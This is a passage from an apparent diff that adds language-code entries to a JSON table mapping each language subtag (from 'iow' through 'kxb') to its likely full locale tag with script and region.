+ "iow": "iow-Latn-US",
+ "ipi": "ipi-Latn-PG",
+ "ipo": "ipo-Latn-PG",
+ "iqu": "iqu-Latn-PE",
+ "iqw": "iqw-Latn-NG",
+ "ire": "ire-Latn-ID",
+ "irh": "irh-Latn-ID",
+ "iri": "iri-Latn-ZZ",
+ "irk": "irk-Latn-TZ",
+ "irn": "irn-Latn-BR",
+ "iru": "iru-Taml-IN",
+ "iru-Mlym": "iru-Mlym-IN",
+ "irx": "irx-Latn-ID",
+ "iry": "iry-Latn-PH",
+ "is": "is-Latn-IS",
+ "isa": "isa-Latn-PG",
+ "isc": "isc-Latn-PE",
+ "isd": "isd-Latn-PH",
+ "ish": "ish-Latn-NG",
+ "isi": "isi-Latn-NG",
+ "isk": "isk-Arab-AF",
+ "isk-Cyrl": "isk-Cyrl-TJ",
+ "ism": "ism-Latn-ID",
+ "isn": "isn-Latn-TZ",
+ "iso": "iso-Latn-NG",
+ "ist": "ist-Latn-HR",
+ "isu": "isu-Latn-CM",
+ "it": "it-Latn-IT",
+ "itb": "itb-Latn-PH",
+ "itd": "itd-Latn-ID",
+ "ite": "ite-Latn-BO",
+ "iti": "iti-Latn-PH",
+ "itk": "itk-Hebr-IT",
+ "itl": "itl-Cyrl-RU",
+ "itm": "itm-Latn-NG",
+ "ito": "ito-Latn-BO",
+ "itr": "itr-Latn-PG",
+ "its": "its-Latn-NG",
+ "itt": "itt-Latn-PH",
+ "itv": "itv-Latn-PH",
+ "itw": "itw-Latn-NG",
+ "itx": "itx-Latn-ID",
+ "ity": "ity-Latn-PH",
+ "itz": "itz-Latn-GT",
+ "iu": "iu-Cans-CA",
+ "ium": "ium-Latn-CN",
+ "ium-Hani": "ium-Hani-CN",
+ "ium-Laoo": "ium-Laoo-LA",
+ "ium-Thai": "ium-Thai-TH",
+ "ivb": "ivb-Latn-PH",
+ "ivv": "ivv-Latn-PH",
+ "iw": "he-Hebr-IL",
+ "iwk": "iwk-Latn-PH",
+ "iwm": "iwm-Latn-ZZ",
+ "iwo": "iwo-Latn-ID",
+ "iws": "iws-Latn-ZZ",
+ "ixc": "ixc-Latn-MX",
+ "ixl": "ixl-Latn-GT",
+ "iya": "iya-Latn-NG",
+ "iyo": "iyo-Latn-CM",
+ "iyx": "iyx-Latn-CG",
+ "izh": "izh-Latn-RU",
+ "izi": "eza-Latn-ZZ",
+ "izr": "izr-Latn-NG",
+ "izz": "izz-Latn-NG",
+ "ja": "ja-Jpan-JP",
+ "jaa": "jaa-Latn-BR",
+ "jab": "jab-Latn-ZZ",
+ "jac": "jac-Latn-GT",
+ "jad": "jad-Arab-GN",
+ "jae": "jae-Latn-PG",
+ "jaf": "jaf-Latn-NG",
+ "jah": "jah-Latn-MY",
+ "jaj": "jaj-Latn-SB",
+ "jak": "jak-Latn-MY",
+ "jal": "jal-Latn-ID",
+ "jam": "jam-Latn-JM",
+ "jan": "jan-Latn-AU",
+ "jao": "jao-Latn-AU",
+ "jaq": "jaq-Latn-ID",
+ "jar": "jgk-Latn-ZZ",
+ "jas": "jas-Latn-NC",
+ "jat": "jat-Arab-AF",
+ "jau": "jau-Latn-ID",
+ "jax": "jax-Latn-ID",
+ "jay": "jay-Latn-AU",
+ "jaz": "jaz-Latn-NC",
+ "jbe": "jbe-Hebr-IL",
+ "jbi": "jbi-Latn-AU",
+ "jbj": "jbj-Latn-ID",
+ "jbk": "jbk-Latn-PG",
+ "jbm": "jbm-Latn-NG",
+ "jbn": "jbn-Arab-LY",
+ "jbo": "jbo-Latn-001",
+ "jbr": "jbr-Latn-ID",
+ "jbt": "jbt-Latn-BR",
+ "jbu": "jbu-Latn-ZZ",
+ "jbw": "jbw-Latn-AU",
+ "jct": "jct-Cyrl-UA",
+ "jct-Latn": "jct-Latn-UA",
+ "jda": "jda-Tibt-IN",
+ "jdg": "jdg-Arab-PK",
+ "jdt": "jdt-Cyrl-RU",
+ "jdt-Hebr": "jdt-Hebr-RU",
+ "jdt-Latn": "jdt-Latn-AZ",
+ "jeb": "jeb-Latn-PE",
+ "jee": "jee-Deva-NP",
+ "jeh": "jeh-Latn-VN",
+ "jeh-Laoo": "jeh-Laoo-LA",
+ "jei": "jei-Latn-ID",
+ "jek": "jek-Latn-CI",
+ "jel": "jel-Latn-ID",
+ "jen": "jen-Latn-ZZ",
+ "jer": "jer-Latn-NG",
+ "jet": "jet-Latn-PG",
+ "jeu": "jeu-Latn-TD",
+ "jgb": "jgb-Latn-CD",
+ "jge": "jge-Geor-GE",
+ "jge-Hebr": "jge-Hebr-IL",
+ "jgk": "jgk-Latn-ZZ",
+ "jgo": "jgo-Latn-CM",
+ "jhi": "jhi-Latn-MY",
+ "ji": "yi-Hebr-001",
+ "jia": "jia-Latn-CM",
+ "jib": "jib-Latn-ZZ",
+ "jic": "jic-Latn-HN",
+ "jid": "jid-Latn-NG",
+ "jie": "jie-Latn-NG",
+ "jig": "jig-Latn-AU",
+ "jil": "jil-Latn-PG",
+ "jim": "jim-Latn-CM",
+ "jit": "jit-Latn-TZ",
+ "jiu": "jiu-Latn-CN",
+ "jiv": "jiv-Latn-EC",
+ "jiy": "jiy-Latn-CN",
+ "jje": "jje-Hang-KR",
+ "jjr": "jjr-Latn-NG",
+ "jka": "jka-Latn-ID",
+ "jkm": "jkm-Mymr-MM",
+ "jkm-Brai": "jkm-Brai-MM",
+ "jkm-Latn": "jkm-Latn-MM",
+ "jko": "jko-Latn-PG",
+ "jku": "jku-Latn-NG",
+ "jle": "jle-Latn-SD",
+ "jma": "jma-Latn-PG",
+ "jmb": "jmb-Latn-NG",
+ "jmc": "jmc-Latn-TZ",
+ "jmd": "jmd-Latn-ID",
+ "jmi": "jmi-Latn-NG",
+ "jml": "jml-Deva-NP",
+ "jmn": "jmn-Latn-MM",
+ "jmr": "jmr-Latn-GH",
+ "jms": "jms-Latn-NG",
+ "jmw": "jmw-Latn-PG",
+ "jmx": "jmx-Latn-MX",
+ "jna": "jna-Takr-IN",
+ "jnd": "jnd-Arab-PK",
+ "jng": "jng-Latn-AU",
+ "jni": "jni-Latn-NG",
+ "jnj": "jnj-Latn-ET",
+ "jnj-Ethi": "jnj-Ethi-ET",
+ "jnl": "jnl-Deva-IN",
+ "jns": "jns-Deva-IN",
+ "jns-Latn": "jns-Latn-IN",
+ "jns-Takr": "jns-Takr-IN",
+ "job": "job-Latn-CD",
+ "jod": "jod-Latn-CI",
+ "jog": "jog-Arab-PK",
+ "jor": "jor-Latn-BO",
+ "jow": "jow-Latn-ML",
+ "jpa": "jpa-Hebr-PS",
+ "jpr": "jpr-Hebr-IL",
+ "jqr": "jqr-Latn-PE",
+ "jra": "jra-Latn-ZZ",
+ "jrr": "jrr-Latn-NG",
+ "jrt": "jrt-Latn-NG",
+ "jru": "jru-Latn-VE",
+ "jua": "jua-Latn-BR",
+ "jub": "jub-Latn-NG",
+ "jud": "jud-Latn-CI",
+ "juh": "juh-Latn-NG",
+ "jui": "jui-Latn-AU",
+ "juk": "juk-Latn-NG",
+ "jul": "jul-Deva-NP",
+ "jum": "jum-Latn-SD",
+ "jun": "jun-Orya-IN",
+ "juo": "juo-Latn-NG",
+ "jup": "jup-Latn-BR",
+ "jur": "jur-Latn-BR",
+ "jut": "jut-Latn-DK",
+ "juu": "juu-Latn-NG",
+ "juw": "juw-Latn-NG",
+ "juy": "juy-Orya-IN",
+ "jv": "jv-Latn-ID",
+ "jvd": "jvd-Latn-ID",
+ "jvn": "jvn-Latn-SR",
+ "jw": "jv-Latn-ID",
+ "jwi": "jwi-Latn-GH",
+ "jya": "jya-Tibt-CN",
+ "jye": "jye-Hebr-IL",
+ "jyy": "jyy-Latn-TD",
+ "ka": "ka-Geor-GE",
+ "kaa": "kaa-Cyrl-UZ",
+ "kab": "kab-Latn-DZ",
+ "kac": "kac-Latn-MM",
+ "kad": "kad-Latn-ZZ",
+ "kag": "kag-Latn-MY",
+ "kah": "kah-Latn-CF",
+ "kai": "kai-Latn-ZZ",
+ "kaj": "kaj-Latn-NG",
+ "kak": "kak-Latn-PH",
+ "kam": "kam-Latn-KE",
+ "kao": "kao-Latn-ML",
+ "kap": "kap-Cyrl-RU",
+ "kaq": "kaq-Latn-PE",
+ "kav": "kav-Latn-BR",
+ "kaw": "kaw-Kawi-ID",
+ "kax": "kax-Latn-ID",
+ "kay": "kay-Latn-BR",
+ "kba": "kba-Latn-AU",
+ "kbb": "kbb-Latn-BR",
+ "kbc": "kbc-Latn-BR",
+ "kbd": "kbd-Cyrl-RU",
+ "kbe": "kbe-Latn-AU",
+ "kbh": "kbh-Latn-CO",
+ "kbi": "kbi-Latn-ID",
+ "kbj": "kbj-Latn-CD",
+ "kbk": "kbk-Latn-PG",
+ "kbl": "kbl-Latn-TD",
+ "kbm": "kbm-Latn-ZZ",
+ "kbn": "kbn-Latn-CF",
+ "kbo": "kbo-Latn-SS",
+ "kbp": "kbp-Latn-ZZ",
+ "kbq": "kbq-Latn-ZZ",
+ "kbr": "kbr-Latn-ET",
+ "kbr-Ethi": "kbr-Ethi-ET",
+ "kbs": "kbs-Latn-GA",
+ "kbt": "kbt-Latn-PG",
+ "kbu": "kbu-Arab-PK",
+ "kbv": "kbv-Latn-ID",
+ "kbw": "kbw-Latn-PG",
+ "kbx": "kbx-Latn-ZZ",
+ "kby": "kby-Arab-NE",
+ "kbz": "kbz-Latn-NG",
+ "kca": "kca-Cyrl-RU",
+ "kcb": "kcb-Latn-PG",
+ "kcc": "kcc-Latn-NG",
+ "kcd": "kcd-Latn-ID",
+ "kce": "kce-Latn-NG",
+ "kcf": "kcf-Latn-NG",
+ "kcg": "kcg-Latn-NG",
+ "kch": "kch-Latn-NG",
+ "kci": "kci-Latn-NG",
+ "kcj": "kcj-Latn-GW",
+ "kck": "kck-Latn-ZW",
+ "kcl": "kcl-Latn-ZZ",
+ "kcm": "kcm-Latn-CF",
+ "kcn": "kcn-Latn-UG",
+ "kco": "kco-Latn-PG",
+ "kcp": "kcp-Latn-SD",
+ "kcq": "kcq-Latn-NG",
+ "kcs": "kcs-Latn-NG",
+ "kct": "kct-Latn-ZZ",
+ "kcu": "kcu-Latn-TZ",
+ "kcv": "kcv-Latn-CD",
+ "kcw": "kcw-Latn-CD",
+ "kcz": "kcz-Latn-TZ",
+ "kda": "kda-Latn-AU",
+ "kdc": "kdc-Latn-TZ",
+ "kdd": "kdd-Latn-AU",
+ "kde": "kde-Latn-TZ",
+ "kdf": "kdf-Latn-PG",
+ "kdg": "kdg-Latn-CD",
+ "kdh": "kdh-Latn-TG",
+ "kdi": "kdi-Latn-UG",
+ "kdj": "kdj-Latn-UG",
+ "kdk": "kdk-Latn-NC",
+ "kdl": "kdl-Latn-ZZ",
+ "kdm": "kdm-Latn-NG",
+ "kdn": "kdn-Latn-ZW",
+ "kdp": "kdp-Latn-NG",
+ "kdq": "kdq-Beng-IN",
+ "kdr": "kdr-Latn-LT",
+ "kdr-Cyrl": "kdr-Cyrl-UA",
+ "kdt": "kdt-Thai-TH",
+ "kdw": "kdw-Latn-ID",
+ "kdx": "kdx-Latn-NG",
+ "kdy": "kdy-Latn-ID",
+ "kdz": "kdz-Latn-CM",
+ "kea": "kea-Latn-CV",
+ "keb": "keb-Latn-GA",
+ "kec": "kec-Latn-SD",
+ "ked": "ked-Latn-TZ",
+ "kee": "kee-Latn-US",
+ "kef": "kef-Latn-TG",
+ "keg": "keg-Latn-SD",
+ "keh": "keh-Latn-PG",
+ "kei": "kei-Latn-ID",
+ "kek": "kek-Latn-GT",
+ "kel": "kel-Latn-CD",
+ "kem": "kem-Latn-TL",
+ "ken": "ken-Latn-CM",
+ "keo": "keo-Latn-UG",
+ "ker": "ker-Latn-TD",
+ "kes": "kes-Latn-NG",
+ "ket": "ket-Cyrl-RU",
+ "keu": "keu-Latn-TG",
+ "kew": "kew-Latn-PG",
+ "kex": "kex-Deva-IN",
+ "kex-Gujr": "kex-Gujr-IN",
+ "key": "key-Telu-IN",
+ "kez": "kez-Latn-ZZ",
+ "kfa": "kfa-Knda-IN",
+ "kfb": "kfb-Deva-IN",
+ "kfc": "kfc-Telu-IN",
+ "kfd": "kfd-Knda-IN",
+ "kfe": "kfe-Taml-IN",
+ "kff": "kff-Latn-IN",
+ "kff-Deva": "kff-Deva-IN",
+ "kff-Orya": "kff-Orya-IN",
+ "kff-Telu": "kff-Telu-IN",
+ "kfh": "kfh-Mlym-IN",
+ "kfi": "kfi-Taml-IN",
+ "kfi-Knda": "kfi-Knda-IN",
+ "kfk": "kfk-Deva-IN",
+ "kfk-Takr": "kfk-Takr-IN",
+ "kfl": "kfl-Latn-CM",
+ "kfm": "kfm-Arab-IR",
+ "kfn": "kfn-Latn-CM",
+ "kfo": "kfo-Latn-CI",
+ "kfp": "kfp-Deva-IN",
+ "kfq": "kfq-Deva-IN",
+ "kfr": "kfr-Deva-IN",
+ "kfs": "kfs-Deva-IN",
+ "kfv": "kfv-Latn-IN",
+ "kfw": "kfw-Latn-IN",
+ "kfx": "kfx-Deva-IN",
+ "kfx-Takr": "kfx-Takr-IN",
+ "kfy": "kfy-Deva-IN",
+ "kfz": "kfz-Latn-BF",
+ "kg": "kg-Latn-CD",
+ "kga": "kga-Latn-CI",
+ "kgb": "kgb-Latn-ID",
+ "kge": "kge-Latn-ID",
+ "kgf": "kgf-Latn-ZZ",
+ "kgj": "kgj-Deva-NP",
+ "kgk": "kgk-Latn-BR",
+ "kgl": "kgl-Latn-AU",
+ "kgm": "kgm-Latn-BR",
+ "kgo": "kgo-Latn-SD",
+ "kgp": "kgp-Latn-BR",
+ "kgq": "kgq-Latn-ID",
+ "kgr": "kgr-Latn-ID",
+ "kgs": "kgs-Latn-AU",
+ "kgt": "kgt-Latn-NG",
+ "kgu": "kgu-Latn-PG",
+ "kgv": "kgv-Latn-ID",
+ "kgw": "kgw-Latn-ID",
+ "kgx": "kgx-Latn-ID",
+ "kgy": "kgy-Deva-NP",
+ "kha": "kha-Latn-IN",
+ "khb": "khb-Talu-CN",
+ "khc": "khc-Latn-ID",
+ "khd": "khd-Latn-ID",
+ "khe": "khe-Latn-ID",
+ "khf": "khf-Thai-LA",
+ "khg": "khg-Tibt-CN",
+ "khh": "khh-Latn-ID",
+ "khj": "khj-Latn-NG",
+ "khl": "khl-Latn-PG",
+ "khn": "khn-Deva-IN",
+ "khp": "khp-Latn-ID",
+ "khq": "khq-Latn-ML",
+ "khr": "khr-Latn-IN",
+ "khr-Deva": "khr-Deva-IN",
+ "khs": "khs-Latn-ZZ",
+ "kht": "kht-Mymr-IN",
+ "khu": "khu-Latn-AO",
+ "khv": "khv-Cyrl-RU",
+ "khw": "khw-Arab-PK",
+ "khx": "khx-Latn-CD",
+ "khy": "khy-Latn-CD",
+ "khz": "khz-Latn-ZZ",
+ "ki": "ki-Latn-KE",
+ "kia": "kia-Latn-TD",
+ "kib": "kib-Latn-SD",
+ "kic": "kic-Latn-US",
+ "kid": "kid-Latn-CM",
+ "kie": "kie-Latn-TD",
+ "kif": "kif-Deva-NP",
+ "kig": "kig-Latn-ID",
+ "kih": "kih-Latn-PG",
+ "kij": "kij-Latn-ZZ",
+ "kil": "kil-Latn-NG",
+ "kim": "kim-Cyrl-RU",
+ "kio": "kio-Latn-US",
+ "kip": "kip-Deva-NP",
+ "kiq": "kiq-Latn-ID",
+ "kis": "kis-Latn-PG",
+ "kit": "kit-Latn-PG",
+ "kiu": "kiu-Latn-TR",
+ "kiv": "kiv-Latn-TZ",
+ "kiw": "kiw-Latn-ZZ",
+ "kix": "kix-Latn-IN",
+ "kiy": "kiy-Latn-ID",
+ "kiz": "kiz-Latn-TZ",
+ "kj": "kj-Latn-NA",
+ "kja": "kja-Latn-ID",
+ "kjb": "kjb-Latn-GT",
+ "kjc": "kjc-Latn-ID",
+ "kjd": "kjd-Latn-ZZ",
+ "kje": "kje-Latn-ID",
+ "kjg": "kjg-Laoo-LA",
+ "kjh": "kjh-Cyrl-RU",
+ "kji": "kji-Latn-SB",
+ "kjj": "kjj-Latn-AZ",
+ "kjk": "kjk-Latn-ID",
+ "kjl": "kjl-Deva-NP",
+ "kjm": "kjm-Latn-VN",
+ "kjn": "kjn-Latn-AU",
+ "kjo": "kjo-Deva-IN",
+ "kjp": "kjp-Mymr-MM",
+ "kjp-Thai": "kjp-Thai-TH",
+ "kjq": "kjq-Latn-US",
+ "kjr": "kjr-Latn-ID",
+ "kjs": "kjs-Latn-ZZ",
+ "kjt": "kjt-Thai-TH",
+ "kju": "kju-Latn-US",
+ "kjx": "kjx-Latn-PG",
+ "kjy": "kjy-Latn-ZZ",
+ "kk": "kk-Cyrl-KZ",
+ "kk-AF": "kk-Arab-AF",
+ "kk-Arab": "kk-Arab-CN",
+ "kk-CN": "kk-Arab-CN",
+ "kk-IR": "kk-Arab-IR",
+ "kk-MN": "kk-Arab-MN",
+ "kka": "kka-Latn-NG",
+ "kkb": "kkb-Latn-ID",
+ "kkc": "kkc-Latn-ZZ",
+ "kkd": "kkd-Latn-NG",
+ "kke": "kke-Latn-GN",
+ "kke-Arab": "kke-Arab-GN",
+ "kkf": "kkf-Tibt-IN",
+ "kkg": "kkg-Latn-PH",
+ "kkh": "kkh-Lana-MM",
+ "kki": "kki-Latn-TZ",
+ "kkj": "kkj-Latn-CM",
+ "kkk": "kkk-Latn-SB",
+ "kkl": "kkl-Latn-ID",
+ "kkm": "kkm-Latn-NG",
+ "kko": "kko-Latn-SD",
+ "kkp": "kkp-Latn-AU",
+ "kkq": "kkq-Latn-CD",
+ "kkr": "kkr-Latn-NG",
+ "kks": "kks-Latn-NG",
+ "kkt": "kkt-Deva-NP",
+ "kku": "kku-Latn-NG",
+ "kkv": "kkv-Latn-ID",
+ "kkw": "kkw-Latn-CG",
+ "kkx": "kkx-Latn-ID",
+ "kky": "kky-Latn-AU",
+ "kkz": "kkz-Latn-CA",
+ "kl": "kl-Latn-GL",
+ "kla": "kla-Latn-US",
+ "klb": "klb-Latn-MX",
+ "klc": "klc-Latn-CM",
+ "kld": "kld-Latn-AU",
+ "kle": "kle-Deva-NP",
+ "klf": "klf-Latn-TD",
+ "klg": "klg-Latn-PH",
+ "klh": "klh-Latn-PG",
+ "kli": "kli-Latn-ID",
+ "klj": "klj-Arab-IR",
+ "klk": "klk-Latn-NG",
+ "kll": "kll-Latn-PH",
+ "klm": "klm-Latn-PG",
+ "kln": "kln-Latn-KE",
+ "klo": "klo-Latn-NG",
+ "klp": "klp-Latn-PG",
+ "klq": "klq-Latn-ZZ",
+ "klr": "klr-Deva-NP",
+ "kls": "kls-Latn-PK",
+ "kls-Arab": "kls-Arab-PK",
+ "klt": "klt-Latn-ZZ",
+ "klu": "klu-Latn-LR",
+ "klv": "klv-Latn-VU",
+ "klw": "klw-Latn-ID",
+ "klx": "klx-Latn-ZZ",
+ "kly": "kly-Latn-ID",
+ "klz": "klz-Latn-ID",
+ "km": "km-Khmr-KH",
+ "kma": "kma-Latn-GH",
+ "kmb": "kmb-Latn-AO",
+ "kmc": "kmc-Latn-CN",
+ "kmc-Hani": "kmc-Hani-CN",
+ "kmd": "kmd-Latn-PH",
+ "kme": "kme-Latn-CM",
+ "kmf": "kmf-Latn-PG",
+ "kmg": "kmg-Latn-PG",
+ "kmh": "kmh-Latn-ZZ",
+ "kmi": "kmi-Latn-NG",
+ "kmj": "kmj-Deva-IN",
+ "kmk": "kmk-Latn-PH",
+ "kml": "kml-Latn-PH",
+ "kmm": "kmm-Latn-IN",
+ "kmn": "kmn-Latn-PG",
+ "kmo": "kmo-Latn-ZZ",
+ "kmp": "kmp-Latn-CM",
+ "kmq": "kmq-Latn-ET",
+ "kms": "kms-Latn-ZZ",
+ "kmt": "kmt-Latn-ID",
+ "kmu": "kmu-Latn-ZZ",
+ "kmv": "kmv-Latn-BR",
+ "kmw": "kmw-Latn-ZZ",
+ "kmx": "kmx-Latn-PG",
+ "kmy": "kmy-Latn-NG",
+ "kmz": "kmz-Arab-IR",
+ "kn": "kn-Knda-IN",
+ "kna": "kna-Latn-NG",
+ "knb": "knb-Latn-PH",
+ "knd": "knd-Latn-ID",
+ "kne": "kne-Latn-PH",
+ "knf": "knf-Latn-GW",
+ "kni": "kni-Latn-NG",
+ "knj": "knj-Latn-GT",
+ "knk": "knk-Latn-SL",
+ "knk-Arab": "knk-Arab-SL",
+ "knl": "knl-Latn-ID",
+ "knm": "knm-Latn-BR",
+ "kno": "kno-Latn-SL",
+ "knp": "knp-Latn-ZZ",
+ "knq": "knq-Latn-MY",
+ "knr": "knr-Latn-PG",
+ "kns": "kns-Latn-MY",
+ "kns-Thai": "kns-Thai-TH",
+ "knt": "knt-Latn-BR",
+ "knu": "knu-Latn-GN",
+ "knv": "knv-Latn-PG",
+ "knw": "knw-Latn-NA",
+ "knx": "knx-Latn-ID",
+ "kny": "kny-Latn-CD",
+ "knz": "knz-Latn-BF",
+ "ko": "ko-Kore-KR",
+ "koa": "koa-Latn-PG",
+ "koc": "koc-Latn-NG",
+ "kod": "kod-Latn-ID",
+ "koe": "koe-Latn-SS",
+ "kof": "kof-Latn-NG",
+ "kog": "kog-Latn-CO",
+ "koh": "koh-Latn-CG",
+ "koi": "koi-Cyrl-RU",
+ "kok": "kok-Deva-IN",
+ "kol": "kol-Latn-ZZ",
+ "koo": "koo-Latn-UG",
+ "kop": "kop-Latn-PG",
+ "koq": "koq-Latn-GA",
+ "kos": "kos-Latn-FM",
+ "kot": "kot-Latn-CM",
+ "kou": "kou-Latn-TD",
+ "kov": "kov-Latn-NG",
+ "kow": "kow-Latn-NG",
+ "koy": "koy-Latn-US",
+ "koz": "koz-Latn-ZZ",
+ "kpa": "kpa-Latn-NG",
+ "kpc": "kpc-Latn-CO",
+ "kpd": "kpd-Latn-ID",
+ "kpe": "kpe-Latn-LR",
+ "kpf": "kpf-Latn-ZZ",
+ "kpg": "kpg-Latn-FM",
+ "kph": "kph-Latn-GH",
+ "kpi": "kpi-Latn-ID",
+ "kpj": "kpj-Latn-BR",
+ "kpk": "kpk-Latn-NG",
+ "kpl": "kpl-Latn-CD",
+ "kpm": "kpm-Latn-VN",
+ "kpn": "kpn-Latn-BR",
+ "kpo": "kpo-Latn-ZZ",
+ "kpq": "kpq-Latn-ID",
+ "kpr": "kpr-Latn-ZZ",
+ "kps": "kps-Latn-ID",
+ "kpt": "kpt-Cyrl-RU",
+ "kpu": "kpu-Latn-ID",
+ "kpw": "kpw-Latn-PG",
+ "kpx": "kpx-Latn-ZZ",
+ "kpy": "kpy-Cyrl-RU",
+ "kpz": "kpz-Latn-UG",
+ "kqa": "kqa-Latn-PG",
+ "kqb": "kqb-Latn-ZZ",
+ "kqc": "kqc-Latn-PG",
+ "kqd": "kqd-Syrc-IQ",
+ "kqe": "kqe-Latn-PH",
+ "kqf": "kqf-Latn-ZZ",
+ "kqg": "kqg-Latn-BF",
+ "kqh": "kqh-Latn-TZ",
+ "kqi": "kqi-Latn-PG",
+ "kqj": "kqj-Latn-PG",
+ "kqk": "kqk-Latn-BJ",
+ "kql": "kql-Latn-PG",
+ "kqm": "kqm-Latn-CI",
+ "kqn": "kqn-Latn-ZM",
+ "kqo": "kqo-Latn-LR",
+ "kqp": "kqp-Latn-TD",
+ "kqq": "kqq-Latn-BR",
+ "kqr": "kqr-Latn-MY",
+ "kqs": "kqs-Latn-ZZ",
+ "kqt": "kqt-Latn-MY",
+ "kqu": "kqu-Latn-ZA",
+ "kqv": "kqv-Latn-ID",
+ "kqw": "kqw-Latn-PG",
+ "kqx": "kqx-Latn-CM",
+ "kqy": "kqy-Ethi-ZZ",
+ "kqz": "kqz-Latn-ZA",
+ "kr": "kr-Latn-ZZ",
+ "kra": "kra-Deva-NP",
+ "krb": "krb-Latn-US",
+ "krc": "krc-Cyrl-RU",
+ "krd": "krd-Latn-TL",
+ "kre": "kre-Latn-BR",
+ "krf": "krf-Latn-VU",
+ "krh": "krh-Latn-NG",
+ "kri": "kri-Latn-SL",
+ "krj": "krj-Latn-PH",
+ "krk": "krk-Cyrl-RU",
+ "krl": "krl-Latn-RU",
+ "krn": "krn-Latn-LR",
+ "krp": "krp-Latn-NG",
+ "krr": "krr-Khmr-KH",
+ "krs": "krs-Latn-ZZ",
+ "krt": "krt-Latn-NE",
+ "kru": "kru-Deva-IN",
+ "krv": "krv-Khmr-KH",
+ "krw": "krw-Latn-LR",
+ "krx": "krx-Latn-SN",
+ "kry": "kry-Latn-AZ",
+ "krz": "krz-Latn-ID",
+ "ks": "ks-Arab-IN",
+ "ksa": "ksa-Latn-NG",
+ "ksb": "ksb-Latn-TZ",
+ "ksc": "ksc-Latn-PH",
+ "ksd": "ksd-Latn-ZZ",
+ "kse": "kse-Latn-PG",
+ "ksf": "ksf-Latn-CM",
+ "ksg": "ksg-Latn-SB",
+ "ksh": "ksh-Latn-DE",
+ "ksi": "ksi-Latn-PG",
+ "ksj": "ksj-Latn-ZZ",
+ "ksk": "ksk-Latn-US",
+ "ksl": "ksl-Latn-PG",
+ "ksm": "ksm-Latn-NG",
+ "ksn": "ksn-Latn-PH",
+ "kso": "kso-Latn-NG",
+ "ksp": "ksp-Latn-CF",
+ "ksq": "ksq-Latn-NG",
+ "ksr": "ksr-Latn-ZZ",
+ "kss": "kss-Latn-LR",
+ "kst": "kst-Latn-BF",
+ "ksu": "ksu-Mymr-IN",
+ "ksv": "ksv-Latn-CD",
+ "ksw": "ksw-Mymr-MM",
+ "ksw-Latn": "ksw-Latn-MM",
+ "ksx": "ksx-Latn-ID",
+ "ksz": "ksz-Deva-IN",
+ "kta": "kta-Latn-VN",
+ "ktb": "ktb-Ethi-ZZ",
+ "ktc": "ktc-Latn-NG",
+ "ktd": "ktd-Latn-AU",
+ "ktf": "ktf-Latn-CD",
+ "ktg": "ktg-Latn-AU",
+ "kth": "kth-Latn-TD",
+ "kti": "kti-Latn-ID",
+ "ktj": "ktj-Latn-CI",
+ "ktk": "ktk-Latn-PG",
+ "ktl": "ktl-Arab-IR",
+ "ktm": "ktm-Latn-ZZ",
+ "ktn": "ktn-Latn-BR",
+ "kto": "kto-Latn-ZZ",
+ "ktp": "ktp-Plrd-CN",
+ "ktq": "ktq-Latn-PH",
+ "ktr": "dtp-Latn-MY",
+ "kts": "kts-Latn-ID",
+ "ktt": "ktt-Latn-ID",
+ "ktu": "ktu-Latn-CD",
+ "ktv": "ktv-Latn-VN",
+ "ktw": "ktw-Latn-US",
+ "ktx": "ktx-Latn-BR",
+ "kty": "kty-Latn-CD",
+ "ktz": "ktz-Latn-NA",
+ "ku": "ku-Latn-TR",
+ "ku-Arab": "ku-Arab-IQ",
+ "ku-LB": "ku-Arab-LB",
+ "ku-Yezi": "ku-Yezi-GE",
+ "kub": "kub-Latn-ZZ",
+ "kuc": "kuc-Latn-ID",
+ "kud": "kud-Latn-ZZ",
+ "kue": "kue-Latn-ZZ",
+ "kuf": "kuf-Laoo-LA",
+ "kug": "kug-Latn-NG",
+ "kuh": "kuh-Latn-NG",
+ "kui": "kui-Latn-BR",
+ "kuj": "kuj-Latn-ZZ",
+ "kuk": "kuk-Latn-ID",
+ "kul": "kul-Latn-NG",
+ "kum": "kum-Cyrl-RU",
+ "kun": "kun-Latn-ZZ",
+ "kuo": "kuo-Latn-PG",
+ "kup": "kup-Latn-ZZ",
+ "kuq": "kuq-Latn-BR",
+ "kus": "kus-Latn-ZZ",
+ "kut": "kut-Latn-CA",
+ "kuu": "kuu-Latn-US",
+ "kuv": "kuv-Latn-ID",
+ "kuw": "kuw-Latn-CF",
+ "kux": "kux-Latn-AU",
+ "kuy": "kuy-Latn-AU",
+ "kuz": "kuz-Latn-CL",
+ "kv": "kv-Cyrl-RU",
+ "kva": "kva-Cyrl-RU",
+ "kvb": "kvb-Latn-ID",
+ "kvc": "kvc-Latn-PG",
+ "kvd": "kvd-Latn-ID",
+ "kve": "kve-Latn-MY",
+ "kvf": "kvf-Latn-TD",
+ "kvg": "kvg-Latn-ZZ",
+ "kvh": "kvh-Latn-ID",
+ "kvi": "kvi-Latn-TD",
+ "kvj": "kvj-Latn-CM",
+ "kvl": "kvl-Latn-MM",
+ "kvm": "kvm-Latn-CM",
+ "kvn": "kvn-Latn-CO",
+ "kvo": "kvo-Latn-ID",
+ "kvp": "kvp-Latn-ID",
+ "kvq": "kvq-Mymr-MM",
+ "kvq-Latn": "kvq-Latn-MM",
+ "kvr": "kvr-Latn-ID",
+ "kvt": "kvt-Mymr-MM",
+ "kvv": "kvv-Latn-ID",
+ "kvw": "kvw-Latn-ID",
+ "kvx": "kvx-Arab-PK",
+ "kvy": "kvy-Kali-MM",
+ "kvz": "kvz-Latn-ID",
+ "kw": "kw-Latn-GB",
+ "kwa": "kwa-Latn-BR",
+ "kwb": "kwb-Latn-NG",
+ "kwc": "kwc-Latn-CG",
+ "kwd": "kwd-Latn-SB",
+ "kwe": "kwe-Latn-ID",
+ "kwf": "kwf-Latn-SB",
+ "kwg": "kwg-Latn-TD",
+ "kwh": "kwh-Latn-ID",
+ "kwi": "kwi-Latn-CO",
+ "kwj": "kwj-Latn-ZZ",
+ "kwk": "kwk-Latn-CA",
+ "kwl": "kwl-Latn-NG",
+ "kwm": "kwm-Latn-NA",
+ "kwn": "kwn-Latn-NA",
+ "kwo": "kwo-Latn-ZZ",
+ "kwp": "kwp-Latn-CI",
+ "kwq": "yam-Latn-ZZ",
+ "kwr": "kwr-Latn-ID",
+ "kws": "kws-Latn-CD",
+ "kwt": "kwt-Latn-ID",
+ "kwu": "kwu-Latn-CM",
+ "kwv": "kwv-Latn-TD",
+ "kww": "kww-Latn-SR",
+ "kwy": "kwy-Latn-CD",
+ "kwz": "kwz-Latn-AO",
+ "kxa": "kxa-Latn-ZZ",
+ "kxb": "kxb-Latn-CI",
